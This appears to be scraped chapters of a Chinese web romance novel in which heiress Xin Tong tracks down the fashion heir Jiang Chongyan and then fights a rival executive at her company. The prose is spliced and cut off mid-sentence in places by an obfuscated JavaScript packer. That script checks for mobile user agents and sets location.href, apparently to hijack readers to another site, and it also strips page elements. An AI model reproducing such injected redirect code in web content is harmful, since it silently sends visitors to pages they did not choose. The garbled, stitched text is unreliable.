江崇焰神出鬼没,连亲爷爷江远滨都找不到他。要辛桐一个完全没见过不认识的陌生人去说服他每周回家吃饭,这件事情实在是太过诡异且艰难。 也难怪江远滨这么容易就松口说可以教她做西装。 但是辛桐一直都信奉天下无难事。难事也是由无数个简单的事组合成的,一件一件做,总能成功。做不到100%也有70%,人生就怕尽力。 她认真回忆了一下去江远滨家里的全过程。 他当时打电话提到了一句“喻家小子”,听上去是江崇焰的朋友。 梧城就一个喻家。 而喻家这一辈,就一个独子。 就是刚刚从北美名牌大学毕业、风光回国,在自家公司参与管理的喻承锦。 突破口已经显而易见。 想到这里,她皱皱鼻子。 这个喻承锦怎么老是喜欢和这种叛逆少年当朋友? 一个是Aiden,一个是江崇焰,都是那种锐利冰冷、生人勿近凶巴巴的角色。 辛桐出国好几年,已经半脱离了梧城二代圈子,唯一的人脉就是宋青云。 她想也没想就把宋青云一个电话叫了过来,让这位梧城二代圈交际花给自己打听一下喻氏的喻承锦的联系方式。 对方表示这还用打听,她连微信都有。 只是听完了辛桐的最终目标后,她睁大眼睛。 “什么?” “你是要去找江崇焰?!” 她掏出手机,给辛桐展示了一个微信群。 群名叫“今天江崇焰露脸了吗”,人数有二十几个。定睛一看群成员,好几个熟悉的头像,全都是圈子里活跃有名的二代,整天在群里吹水刷屏,出钱打赌本群群名是否成真。 “?” 原来江崇焰在梧城二代圈子里已经成了一个代号和梗了? 辛桐无言,“我被评为梧城第一废物是不是有点冤了。你们其他人,谁干正事了。” “关心国内服装行业里大名鼎鼎的江家独生子继承人的动向,这怎么不叫正事了。” 宋青云叹口气,拍拍辛桐的肩。 “你这通过喻承锦去找江崇焰的方式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之前辛桐和何天麒争家产而揽下Kelly的事情,整个梧城无人不知,他也有所耳闻。他试图往这方面去联想,但是又想到辛桐接手Kelly第一天就把Kelly弄得一团乱,今天来找他又一个字都没有提到Kelly,想法又凝滞起来。 “抱歉。地址属于隐私,没经过江崇焰本人同意,不能给。” 辛桐笑嘻嘻。 “那就给电话号码吧,我自己联系他。” 喻承锦沉默,拒绝的话已经说了两次,确实很难再说出第三遍。而且要电话确实不算太过分的请求,现如今快递外卖等途径都很容易获取到电话号码,也算不上什么隐私了。 他抬头,正要给,却看见了对面人狡黠的笑脸。 微微一愣,才意识到,自己被套路了。 留面子效应,欲得寸先进尺。辛桐一开始就只是想要电话而已,前面的约会和地址都是幌子。 “……”喻承锦无奈拿起笔,在纸上写了一串数字,撕下来递给了她。 “你真是一个很有趣的人。” 他嘴角浮现淡淡的笑。 ——成功! 辛桐激动地接过纸条,简直要尖叫了。 这也太顺利了! 道谢后潇洒转身出门。 电梯一路向下,她哼着巴啦啦小魔仙,心情惬意地不行。 一楼到了,电梯门打开,好心情却随着歌声一起在下一秒瞬间止住。 一个男人,正靠着一楼前台处的墙壁,侧身插兜站着。 目测186以上,整个人瘦长高挑,oversize的深灰色宽大T恤穿在身上薄薄一片,肩膀却宽阔,即使穿着宽松也能看出来的标准倒三角身材。 齐肩的金发梳了一个半扎丸子头,露出饱满的额头和圆润的后脑勺形状。 额前几乎没有任何碎发修饰,骨相硬朗,轮廓锋利。侧面看过去,第一眼只能看到高挺的鼻梁和凌厉的侧脸轮廓。 他就那样站着,没怎么说话。前台是新人,在给他做登记,时不时偷看他,脸颊上浮现红晕。 通行证递给他,他垂眸说句谢谢,说话时声音低沉,喉结滚动,男性特质几乎满到溢出来。 “……”辛桐深呼吸一口气,压下那股惊艳,唾弃自己和第一次见他一样被美色迷惑。 不得不说,辛桐浸淫花丛多年,见过这么多男人,Aiden是其中最man、雄性荷尔蒙最强的那个。 那种叛逆不羁的气质,野性硬朗的锋利感,看你一眼就让你腿打颤。五官脸型完全不是明星脸上的那种精致得无可挑剔的类型,反而带着野生和凌厉。可是只要对视一眼,满脑子就只剩两个字的不由自主的感叹。 好帅。 13. 第 13 章 她走出电梯,那人也立刻看见了她,微微愣怔。 不是冤家不聚头。 辛桐大方走上前,哼了一声算作打招呼。 走近他的瞬间,鼻间又萦绕着那股浅淡的木质香味。 跟上次在喻承锦家二楼阳台上闻到的似乎还不一样,同属一个系列,但是闻起来还有细微的差别。 他换了香水。 辛桐看见男人眼睫微微动了一下。 眼神似乎停留在她身上艳丽的长裙和红唇上。 但是,只一秒。 随后很快移开目光。 随着他转头的动作,金发垂落的耳边,似乎有什么亮晶晶的东西,顺着他的动作一闪而过。 辛桐眨眨眼,认真看。 才发现,那是一条镶着红色宝石的耳骨链。 晃晃悠悠,轻轻掐着耳朵上的皮肤。 和金属摩擦久了,周围微微红,让人会莫名联想到害羞之后变红的耳根。 可是出现在这样一个男人身上,略微的束缚感,金属碰撞的声音。 带点张扬,带点桀骜,带点优雅,带点野性。 说不上来的感觉。 什么潮男。 长了一张锋利的脸,打扮却很精致,每天还换耳环香水,出门还扎头发。 辛桐在心里想。 “你来喻氏干什么。” 他垂眸看向另外的虚空方向,一贯的生人勿近表情。 漠然的声线,没什么语气,听不出喜怒。 “看不出来吗?”辛桐挺挺胸脯,仰头看他,“我来找喻公子叙旧。” “叙。旧?” 像是没想到会得到一个这样的答案,两个字在嘴里滚了两圈,黑眸垂下盯着她的脸。 “你们很熟?” 辛桐想这男人老是喜欢看自己笑话,终于有个机会让他吃瘪,心里瞬间通了一口气。 立刻得意洋洋地撩了撩头发。 “不熟,也就是刚从他办公室出来的关系。” “咋了,他没跟你说过?” “哎呀呀,怎么会这样呢?你不是他的好朋友吗?” 周围陷入短暂的安静。 她看见男人盯着她一会,随后嗤笑一声。 “你们有什么旧可叙?从你毁了他的乔迁聚会开始?” 辛桐脸色一变。 “我怎么毁了!我那天只是有事,所以提前走了!” “在那之前你踢我进了泳池。” 男人声音凉凉。 “在那之前你嘲笑我!” “在那之前你强行摸了我腹肌。” “在那之前你把我扔下了二楼!” “在那之前你把我当鸭子。” …… 辛桐哽住了。一句话也说不出来了。 追根溯源,孽缘由此开始,辛桐咬咬牙。 “行,千错万错都是因为我这好色的本性!” “告诉你吧,本小姐从今天开始戒色,姐要去搞事业了!” “上次在帝国酒店,你不是特地留下来看我笑话吗?不是亲眼看我揽下了一个女式西服的任务吗?” 她得意洋洋秀着手里的纸条。 “知道这是什么吗?” “听说过江家吗?听说过江氏西装吗?” 她越讲越激动,越吹越收不住,一双上翘的丹凤眼神采奕奕,顾盼神飞,眼角眉梢全是得意之色,瞳孔晶亮湿润,像早春夜空天边的星。 “我懂,你是跳街舞的嘛,不了解我们服装行业也是正常。” “江氏,国内高定西装的头把交椅,名门之后,世家贵族。” “江家掌事人江远滨,在业内地位尊崇,德高望重,随便跺跺脚整个行业都要抖三抖。” “而江家这一辈唯一的独子继承人江崇焰,天之骄子,名门贵族,含着金汤匙出生的尊贵豪门少爷,神出鬼没、没人见过他真实样子的矜贵公子,圈内所有二代都在猜测、都想结识的神秘幕后嘉宾,无数贵族千金名媛都想一睹芳容的梦中情人,梧城最雷厉风行最牛逼的大佬富二代——” “他的电话,被姐悄然拿下。” “懂吗?懂这含金量吗?懂……” 辛桐激情演讲到一半,突然闭上嘴了。 因为她竟然发现,她才说了第一句的时候,Aiden就眯起了眼睛。 她每多说一句,那双漫不经心的长眸里就慢慢流露出越多的笑意,嘴角勾起的弧度也越来越大,到最后竟然轻笑出声。 “这么厉害?” 他盯着她的脸,淡淡开口。 乖乖,原来这个凶巴巴的男人居然也会笑! 辛桐编了半天却只得到一声好整以暇的笑,十分不满。 “你不相信?” 她一把拉起男人的袖口,往门口走。 一米八几个头的高高壮壮的成年男人,却被她轻轻一拉就跟着走了。脚步轻快,很顺从,没什么多余的抵抗想法。 她踩着高跟鞋,“噔噔噔”走到办公楼门口,按开劳斯莱斯的车门,十分大方慷慨地转过身,给他展示。 只见副驾驶上,摇摇晃晃堆满了各种各样的礼物盒,包装精美,琳琅满目。 “姐连礼物都准备好了。” 男人垂眸,随意扫了一眼副驾驶上的东西。第一眼看到最上面的深色包装盒,写着VacheronConstantin。 “这么贵的表?” 语气淡然,带着从容淡定。 “送给他值得?” “打点关系,结识人脉,这些都是基础礼节。懂吗?” 她伸出一根食指,隔空抵住男人的唇,摇摇头。 “今天可真是让你偷学到了。算了,谁让本小姐大方。不用感谢我。” “哎呀,心情真是好呢。” 她把那张纸条在男人眼前晃晃。 “江大少爷的电话啊,怎么打比较好呢?” “上午打还是下午打?用苹果手机打还是安卓手机打?站着打还是跪着打?” “打之前要不要洗个手?要不要洗个澡?” “第一句话是说喂还是说你好?” “我其实也不是很在乎这些,什么拿到了江崇焰的电话啊,什么马上就能得到江家的帮助啊,这些我都不是很在乎,也没想拿出来炫耀。这有什么的?我老公是公务员,我是卿,我的身材很曼妙,我从来也没拿出来显摆。没必要,对不对?” 辛桐说着说着就发觉眼前的男人似乎又勾起了嘴角。 黑白分明的眸子缓慢眨了一下,似乎是心情很好的样子,就这么一瞬不瞬盯着她看。 “你怎么证明这是江崇焰的电话。” 声音有点懒散,沙哑。 辛桐收起笑容。 “你什么意思?你觉得我吹牛?” 她皱起眉头,气呼呼地掏出手机,“你信不信我现在就打?” 却只见对面的男人抱胸一言不发,只是看着她笑。 那种施施然看她出丑的样子。 简直和那天在帝国酒店一模一样。 !她顿时觉得自己被小瞧了。 辛桐最吃不得激将法,一气之下直接背对他,打开手机,对着纸条拨通号码。 哼,这人以为她傻啊?就这么以辛桐的身份给江大少爷打过去多没礼貌。到时候接通了,就说先生你好你的外卖到了。 一秒。两秒。 手机扬声器里终于传出“嘟”声。 可还没想好说自己是美团外卖还是饿了么外卖,辛桐就突然听见,从她的身后,也传出了电话铃声。 她愣住。 手机贴着耳朵,转过头。 就这样隔空撞见那双漫不经心的眼睛。 江崇焰站在她面前,也举着手机。 面无表情,直勾勾地看着她。 ……辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天哪!我失恋了!喻总可是黄金单身汉钻石王老五!” “真的假的!女朋友长啥样?” “可漂亮了,长得像刘亦菲。黑色长头发,一身裙子,踩着高跟鞋就来了。哦,还开了一辆粉色的劳斯莱斯呢!” 赵秘书停住了脚步。 因为他感觉到,身后那位少爷,突然不走了。 回过头,只能看见抿紧的唇和向下的嘴角,昭示着当事人突如其来变得恶劣的心情。 “!”赵秘书心里一噔。 虽然没懂刚刚那几秒内发生了什么,导致阎王爷突然冷了脸。 但是刚刚发生的事情,只有一件。 赵秘书迅速走到前台,严肃道, “你们几个干什么?上班时间聊闲话?” 喻承锦为人温柔儒雅,喻氏平时的氛围也轻松惬意,常有人开上级玩笑。几个前台被上司当众捉到说老板闲话,一个个噤若寒蝉,但是也没有太害怕,吐吐舌头散开了。 “本来就是嘛,赵秘书,喻总女朋友刚刚还去了喻总办公室,呆了好久呢!你不是就在外面守着嘛?你没看见?” “对呀对呀,她还带了好多礼物呢,大包小包全都是送给喻总的,特别恩爱。” “呵。” 阎王爷突然发出一声冷笑。 赵秘书胆战心惊回过头,只见江崇焰把刚刚从前台手里拿到的通行证掏了出来,随手甩在了桌上。 “别跟喻承锦说我来过。” 神色冷得像冰,周身气压低得三米之内都没人敢近身。 插着兜,毫不犹豫地转身,淡漠冷酷地走了。 14. 第 14 章 权莉秘书给辛桐连着打了第三个电话的时候, 这位Kelly新总裁终于从她挂满粉色帷帐的三米豪华大床上伸出一只手。 摸索到床边的手机。 点开,接通。 “辛总!之前给您发的消息您过目了吗?” 对面的人像是很急,压着声音小声说, “何向荣总裁对于您之前点天价下午茶、全公司发奖金放假的事情很不满。再加上这几天您没有来公司,他斥责您花天酒地,已经准备以您玩忽职守的理由上报给总集团了!” 辛桐缓缓摘下真丝眼罩。 露出一双怨恨的眼睛和那几乎可以掉在地上的黑眼圈。 …… 昨天从喻氏门口慌里慌张地逃跑以后,晚上回家翻来覆去,怎么都睡不着。 辛桐索性半夜在xhs发帖: 完了,不知道他是大人物,第一次见面就打了他的屁股掐了他的N头,现在怎么办? 1楼:细说打屁股。 2楼:细说掐N头。 3楼:现在都用这么淫邪的方式起号了? 4楼:帖主你好,你未来会怎么样我不关心,但是请你时刻更新这条帖子。 5楼:没事的,人生很快就过去了。你只是一个爱打男人屁股、掐男人N头的小女孩罢了,你又有什么错呢? …… 洋洋洒洒几百条评论,没有一条有用的,全在幸灾乐祸让辛桐保重。 她绝望地躺回去,挣扎到凌晨终于模模糊糊睡着了。 但是做了整夜的梦,梦里全是一个凶神恶煞的金发男人,拽得二五八万,插着裤兜,拿着一把穿耳器,把她按在自己的大腿上。 先是冷着脸,扒了她的裤子,打她的屁股打得啪啪响。 然后不顾她的挣扎,强制给她穿耳洞。 “喜欢摸男人屁股?” “喜欢调戏男人?” “喜欢把人踹进泳池?” “得罪了我江崇焰,还想让江家给你帮忙?” 她哭啊哭,一边哭一边尖叫说自己错了,眼泪流了他满腿。 “错哪了?” “我有眼不识泰山,不知道你是江大少爷!不该把你错认成鸭子,不该摸你腹肌和胸肌,不该拍你屁股……” 男人啧了一声,拿过她的手机,对准她那遍布红色巴掌印的屁股拍了张照,然后设成了她的手机壁纸。 “一个月不准换。” ——“啊!!” 辛桐在黑暗中惊醒。 心脏咚咚跳,头晕无力,浑身发抖,出了一身冷汗。 怎么会做这样的梦? 太恐怖了!太恐怖了! 她捂着自己柔嫩肥美的小屁股,就这样瞪着眼失眠到了凌晨五点。 好不容易睡着了没一会,就被权莉急切的电话吵醒。 再想到在梦里被讨厌的对象打屁股侮辱,辛桐现在的怒火简直可以媲美绿巨人,谁要是惹她,遇神杀神遇魔杀魔。 “何向荣,是吧。” 咬牙切齿地把这个名字在嘴里嚼了一遍。 她沙哑着嗓子,冷笑一声。 “等着。” “别急。” “姐过去给你们撑腰。” * 秋日的梧城晨光熹微。 纪宁开着车,行驶在前往Kelly公司的路上。 她是Kelly女装的市场部经理。三十多岁,未婚,多年来的所有精力全都放在了工作上了,年纪轻轻已经是高管。 何向荣这些年在kelly大权独揽。其他部门经理大部分都是何向荣的亲信——但是唯有她,是实打实凭借业绩和能力升上来的。她不站队,不谄媚,只是一心一意做好工作。 上升势头正劲,她当时很快得到了何向荣的注意。何向荣那双手曾在无人之处伸到她的大腿,她想也没想就一把推开他。何又不甘心,多次利用出差机会软硬兼施,全都被纪宁严词拒绝并迅速离开。 用最直接的办法多次拒绝了顶头上司的职场性骚扰,这导致自那以后,何向荣再也没给过她好脸色。 凭借她的能力和业绩,本该再往上升,只是何向荣一直没给任何机会。 市场部慢慢也跟着不受重视,她多次向上层提出的提案,都没能得到回复。尽管后来换了三任CEO,但都十分默契地绕开了这个属于高层内部人际关系的领域,只是一味地从产品和销售那边入手,基本只把市场部当成执行机器使用。他们是职业经理人,只是来打份工,没人会去主动得罪老板。 Kelly一步步没落,到如今亏损近十亿。 纪宁坐在驾驶位。 前几日生理期,尽管已经请了病假休息了两天,但是小腹坠痛感如今依然明显。 算了吧。她呼出一口气,苦涩地想,身体也不好,年纪也大了,这份工作只剩心力交瘁,偌大的公司也要走向分崩离析了。 下个月,就离职。 她对自己说。 汽车过了一个弯道,纪宁突然看见,前方一辆奔驰停在路边,后座下来一个年轻女孩。 那女孩看上去二十出头,穿得极其优雅气质,半身裙高跟鞋礼帽一个不落,隆重得像是下一秒就要去拍香奈儿海报。 身量高挑,秀发乌黑顺滑,一举一动怎么看都是千金大小姐。 可是下一秒一开口—— “你个不要脸的死变态,敢偷拍我裙底,你活腻了?” “信不信姐把你那双猪眼珠子抠出来塞你鼻孔里?” 司机又矮又胖,叼着烟,躲闪着视线,不耐烦吼有病啊谁拍你。 两人大吵,女孩说要报警。那司机立刻脚踩油门一溜烟走了,不知道是因为心虚还是不想惹麻烦,连钱也没收。 女孩就这样一个人被扔在了路边。 这附近是个建筑工地,道路坑洼,车流也少,一片荒凉,起码要走十几分钟才能走到大路。 她看着奔驰溜走的背影,气得大喊。 “要不是姐今天不想开车出门,轮得到你送我?你知道梧城有多少人想送本小姐吗?” “Excuseme?明明打了专车,居然还是打到臭车,去你的!” …… 纪宁犹豫几秒,终于还是把车停在了女孩面前,按下车窗。 “送你一程。” 那女孩一愣,腼腆地说不太好吧,但是下一秒就兴冲冲地拉开副驾驶车门坐进来,非常不见外地说: “那你快点,我今天赶时间。” “……” 年轻,对什么都好奇。一会抱怨今天运气差,一会又问纪宁在哪上班的。没有边界感的问题,由她问出来却没有被冒犯的感觉。纪宁看见她亮晶晶的眼睛,一瞬觉得像自己尚在读大学的妹妹。 纪宁回答在kelly女装市场部工作。 空气停滞了两秒。 “市场部?”她重复了一遍,扭头看了一眼纪宁,过了几秒没说话,又转头回去。 纪宁:“刚刚在那辆奔驰上,还好吗?” “那人没有对你怎么样吧?” “没事啦。”她伸出拳头,“我手机上有订单记录的,等我今天忙完就去警察局送他一份大礼,必然要让他付出代价。” 二十出头的女孩话语坚定,纪宁竟莫名有些恍惚。 想到了自己的以前,以及自己那停滞的事业。 默然几秒,开口道: “我也遇到过这种事。对方是公司顶头上司,公司总裁,大老板。我没服从,也没选择站队,他至今都在给我穿小鞋。” “不过,我不后悔。” 纪宁看了一眼副驾驶的人,眼含鼓励,“你做得对。” 女孩听完,表情却一下子严肃了起来。 她低头沉默,没再说话。 直到车开上大路,纪宁问她要去哪里,她开口: “Kelly公司。” 纪宁骤然一惊。 同公司员工?或者是高管? 可是她在Kelly这么多年,可以100%确认,自己从来没见过这女孩。 纪宁讶异地转头,却只对上女孩平静的侧脸。 * Kelly女装,六楼会议室。 一个五十几岁的男人坐在正中间,发顶稀疏,啤酒肚明显,一双眼睛压迫感极强地扫过眼前站着的一排人。正是何向荣。 “你就是钱多多?” 何向荣目光扫向面前一个面孔稚嫩的年轻女孩,脸色阴沉。 “从一个前台直接提到行政主管,变部门二把手了。完全违背公司规章制度。” 他冷笑,“明天起不用来公司了。去找HR交接。” 话音落下,旁边的行政部经理满脸得意,一副终于有人撑腰的样子,挑衅地望着钱多多。 一个新员工小前台,莫名其妙得了新总裁赏识,直接一步登天变成部门二把手了。这让他这个一把手的脸往哪放? 毛都没长齐的黄毛丫头,开头一周什么都不懂成日闯祸,为了进步每天都像个死脑筋一样加班泡着,好像显得他这个经理很不用心对待工作一样。 后来慢慢越来越上手,一些默认的潜规则她都不在乎,偏偏那张嘴还利得很,说得他都没法发火。 所以他干脆直接往上报给何总。 整个公司里谁都看得出来何总对这位空降新来的辛总颇有不满,现在就拿辛总升上来的人开刀,这就算是两个阵营彻底杠上了。 钱多多个子娇小,却站得笔直,一脸不服。 “何总,我不会走的。” “干得好好的,凭什么让我走?” 她看了一眼旁边的行政经理,语出惊人, “我觉得我干得比他好。” “……”何向荣黑着脸,这番直白的话弄得他生气却都不知怎么发泄。 他拂袖转身,转而开始指责旁边的权莉。 “你当了我那么多年的秘书,我栽培了你那么久,结果你转头就跑去给别人当秘书了!白眼狼!” 权莉表情冷静,一言不发。 半晌后才得体回应, “我遵从公司人事调动。” 何向荣沉着一张脸。 “那辛桐蠢得要死,什么都不会,把公司弄得一团乱,一会儿买几千块的下午茶,一会儿又全公司放假奖金,简直是胡闹!你以为你跟着这样的领导有出路?” 权莉沉默几秒说, “只放假了一天,并没有影响任何工作进度。而且辛总出手大方,员工们很感激,工作效率提升了很多。这都是辛总的功劳。” “跟之前公司随便办场年会就花掉几百万比起来,辛总花的是自己的钱。” “……”何向荣被气得脸红,“好!好!” “你和钱多多,一起滚!炒鱿鱼!马上去HR那里办手续!” ——“谁敢?” 未见其人,先闻其声。 高跟鞋踩在地板上发出的清脆声音像是自带的出场音乐,所有人循声往门口望去。 会议室门口,站着一个年轻女孩。 高挑纤瘦,身量挺拔。 小香风半裙穿在她身上显得极其合适,衬得整个人优雅无比,气质不凡。 白色礼帽帽檐宽大,她一步步走进来,戴着手套的纤长手指慢慢摘掉墨镜,直勾勾地对上了何向荣惊诧的目光。 周围空气寂静一瞬。 “老板!” 钱多多如同看见救星般眼前一亮。 就连一贯没什么情绪波动的权莉看见那人也明显放松下来,立刻快步走到门口迎接,眼睛亮晶晶地望她,“辛总。” 眼看她一出场就又吸引走了所有人的目光,何向荣脸色阴沉下来。 他望着她,皮笑肉不笑。 “原来是桐桐。” “不认识我了?我是你叔叔。” “你小时候我还抱过你呢,你忘了?” 真恶心。 这老东西还真不要脸,在公司里当着这么多人面居然敢这么叫。辛桐再蠢也能一眼看穿他的目的,先来套近乎,试图用资历和辈分来模糊她和他平起平坐的正经总裁位置。 她翻个白眼模仿高育良,“说了多少次了,工作的时候称职务!” “工作?” 何向荣大笑。 “你才多大,就管上这种大人的事了?小丫头片子就别操心公司的正经事了,生意上的事,你弄得清楚吗?” 辛桐表情平静却语出惊人。 “那你每天在办公室里腆着个大肚子用电脑刷比基尼美女,你就清楚了?” 何向荣表情一下子变了。 “你!少血口喷人!” “谁允许你查看我工作电脑的,这是个人隐私!你找哪个IT看的!这是违反公司规定!” 辛桐嗤笑一声,轻飘飘摊手。 “我没看啊,我猜的。” “看来我猜对了。” 周围所有人都瞪大了双眼。 卧槽,这是什么大型八卦,原来总裁每天真的在办公室里看比基尼美女? 所有人不由自主全都看向了何向荣,对上他那愤怒到可以吃人的目光后又立刻转移视线,生怕被抓住偷看。 “你!”何向荣已经被气得火冒三丈,喘着粗气,几乎摇摇欲坠,怒吼道: “你来第一天就把公司弄得一团乱,又是下午茶又是全员放假,积压的工作谁来做?” “一整间公司都等着你决策,你居然还跑去江氏给自己定做高定西装!” “目中无人!简直狂得不行了你!” 辛桐挠挠耳朵。 就这种已经亏了快十个亿的公司,来上班有啥用?不如省点电。 “姐的公司要你管。懒得喷。” “你的公司?” 听到这话,何向荣气急反笑。 “我马上就让你知道,这公司到底是谁的。” 下一秒,何向荣一个电话把所有部门的经理全部叫进了会议室。 辛桐皱着眉头,没明白他想干什么。 各个经理很快陆陆续续到达。 在电梯口就已经碰见,互相一合计,才知道这突然的通知估计是出了事。 走到会议室门口,往里一望,全都神色一凛。 只见会议室内正中间,辛桐和何向荣面对面站着。 一左一右,一女一男。 年轻VS年迈,空降兵VS旧部队,风风火火的废物千金VS浸淫多年的高层老油条。 这场正面对抗,终于要到来了。 纪宁跟着人群站在门口,旁边隔壁销售部经理一边伸长脖子偷看会议室里的情况,一边一惊一乍地在她耳边低声叫唤。 “我靠,他俩终于要正面开撕了!” “我跟你讲,这位新来的总裁可不简单!你那天生理期请病假没来,你可不知道,她随随便便就请了全公司的人吃琥珀餐厅的下午茶!还自己出钱给所有员工发奖金和放假一天!真不愧是董事长千金,有钱人可真豪气!” “开会中途就睡着了,还说自己要去做美甲,扭着屁股就走了。然后就再也没来过公司。” “啧啧,都说她娇纵低俗,脑子空空,真是百闻不如一见,果然不愧是梧城第一废物……” 销售部经理还在她耳边叽叽喳喳地说着什么。 可是纪宁却已经没心思听了。 她的目光,正紧紧地跟随着会议室正中间的那道身影。 那个年轻女孩,居然就是Kelly新空降的总裁! 纪宁惊诧无比。 她混在人群中,远远望着。 那位大小姐似乎浑然不觉自己早就成为了整间公司的话题中心,仍在低着头,欣赏自己手上的珍珠手链,顺便还借着何向荣的电脑反光补了补口红,把何向荣气得要死。 “……”纪宁收回目光,很轻地笑了一声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308288|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所有部门经理都已到齐,进了会议室。 何向荣阴沉着脸,像是还在被那狂妄的年轻女人气得不轻,怒气冲冲地开口,说出了最终目的。 ——“跟我,还是跟她,你们现在就选。” 整间办公室一片寂静。 短短一句话,像是平地惊雷。 Kelly公司的所有高管你看看我,我看看你,全都屏息凝神不敢说话。 辛桐没想到何向荣就这样用如此简单粗暴的方式让所有人站队。 不过她很快接受了这个现实。 这样也好,反正其他用什么职场商战办公室心机来表示站队的方式,她也完全不会。 这种幼儿园老鹰捉小鸡般分阵营的方式,对她的脑子非常友好。 一山不容二虎。两个总裁,平起平坐,迟早会有这么一天。 何川当时说好了把Kelly全权交给辛桐,可是对于原本何向荣的总裁职位完全不进行任何改变。或许,这段时间以来她和何向荣之间的所有矛盾,也正是何川想看到的结果。 他看不起辛桐,从来不觉得辛桐可以实现让Kelly盈利的目标,所以才如此大方地说给就给。这趟浑水,能有多浑就有多浑,他甚至从没有想过为辛桐减少一点点困难。 ……爸爸,你就这么不想让我拿到家产吗? 就这么想把所有东西都给何天麒吗? 辛桐垂下眼睫,无声地笑。 只可惜,只要入了局,我就只想赢。 …… 此刻会议室里聚集了Kelly公司所有高层,大家都在职场摸爬滚打已久,公开站队的事,谁也不会草率开始。办公室陷入死寂,每个高管都低着头,各怀心思。 何向荣等不及了。 部门经理中,有一大半都是何向荣一手提拔上来的亲信。他眼神扫过,那几人迅速得到他的明示,犹豫几秒,全都率先站了出来,走到何向荣身边。 但是,剩下还有几个人,都没动。 现在的局势其实很清楚。Kelly情况太差,降本裁人的话只会裁普通打工人,而高管的职位和薪资都不会有任何改变;再加上背靠森川集团这棵大树,谁也不知以后会不会走运被调到总集团。 所以对他们这些高层来说,轻易都不会跳槽离职,宁愿待到最后一刻真正破产为止。 空降VS旧主,大家心里都有自己的评估。 何向荣当了多年总裁,树大根深。 但是这位梧城有名的废物千金却也是来势汹汹。 虽然辛桐不受何川待见已经成为了梧城人尽皆知的事实,何天麒自从被公开承认养子身份后连家里门槛都快被踏破,无数人都想去巴结。 ——只是,再怎么说,辛桐也是亲生的。血缘摆在这,这辈子都割不断。 谁也不敢赌。 大家本质上都是在猜何川心里的偏向。 人影晃动,脚步声在一片死寂的会议室里极其明显,每一个人小小的走动都能引起所有人的视线关注。 终于,脚步声停止了。 八个部门经理中,有五个都选择站在了何向荣那边。 剩下三人,还站在原地,目露犹豫。 辛桐抬起眼,一个个地望过去。 ——随后,正好对上了纪宁的目光。 纪宁就那样站在那里,一动不动。 她知道自己已经30多岁了,她知道事业占据了她人生的所有部分。她对Kelly已经失望。她已经打算提离职,终于鼓起勇气想要离开这个拒绝性骚扰就会被打压的畸形环境。 拯救Kelly? 连三任职业经理人都没能做到的事,这个才二十多岁的年轻女孩怎么可能做到? 她是总集团董事长的亲女儿,梧城有名的废物草包,这种养尊处优吃不了苦毫无经验的二世祖,也许只把Kelly当成工具,一年以后甩下摊子潇洒走人。 纪宁无法再冒险了。 停在原地,不走向何向荣,或许就已经是她能做到的最大的坚持。 …… 八人里,五人都直接走向了何向荣。 而辛桐身后,至今都空无一人。 她默然一瞬。 空降兵,根基尚浅,废物之名又人尽皆知。没人会愿意相信她。 抬眼,果然下一秒就对上了何向荣挑衅得意的眼神。 “你的公司?” “现在还是你的公司吗?” 他哼笑一声。 “我这就把你玩忽职守的事上报给总集团何董。辛桐,你就等着被撤职吧。” 辛桐意外地挑挑眉。 本来刚刚没人选自己还有点难过,但是现在,她直接笑出声了。 “大叔,你是不是没搞清楚状况。” “你嘴里的何董,是我亲爸。” 却没想到,何向荣却满脸不以为意。 “亲爸又如何,你又不跟他姓。” 辛桐脸色瞬间冷了下来。 “你什么意思。” “谁都知道你跟你妈姓,哪个男人会容忍这一点?何董事长当年是受了岳父恩惠才同意你跟母姓,现在发达了谁还愿意承认?” “不然你以为他为什么要再领养一个?为什么何天麒会姓何?” “你早就被他抛弃了,就你这废物草包,回来抢家产也是自取其辱。何天麒才是名正言顺的何家继承人,森川集团未来的董事长大股东。何董和他父子一脉,父业子承天经地义,你才是那个外人——” 话还没说完,辛桐直接照着他的裤/裆,一脚狠狠踹了过去。 所有人都惊呆了。 一旁的权莉最快反应过来,立刻上前去拉。看上去是在把辛桐拉走,可实际上却是挡在辛桐面前,防止慌乱动作中何向荣不小心伤到她。 整间会议室一片混乱,尖叫声吸气声冲破耳膜,其他高管立刻四散躲开。 人群中,却有一个人冲了上来。 纪宁从背后死死抱住何向荣的手臂,看似是在劝架,实际上却完全限制住了何向荣的所有动作。 辛桐踹得极猛,高跟鞋又尖又利。何向荣哀嚎,捂着裆部痛苦地吼叫,脸色苍白,像只死猪一样瘫在地上不动了。 钱多多立刻叫警卫上来。 整个办公室乱成一团。 …… 辛桐一战成名了。 职业论坛再次刷爆。 “梧城第一废物”辛桐继接手Kelly后,自费点天价下午茶,全公司发奖金放假,一周都不来上班,最后还直接暴打原总裁何向荣,听说踢得下半身生育功能都没了。 谁都知道空降的领导最难当,疏通人际关系就是一门大学问。更别说何向荣直接破釜沉舟撕破脸,强迫所有部门经理当面站队,5:0的结果简直是孤立无援被当众打脸。一旦处理不好,就是全盘雪崩的状态。 可谁也没想到,辛桐采取的办法居然是—— 打架! 什么办公室谋略,什么职场宫心计,在她这里全都不成立。直接把人干倒,铁腕治理,让所有人以后看到她就瑟瑟发抖想到病床上那位雄风不再的老领导。 论坛大面积刷屏,满页的“6”“牛逼”“猛”,一众人瞠目结舌称为奇女子。 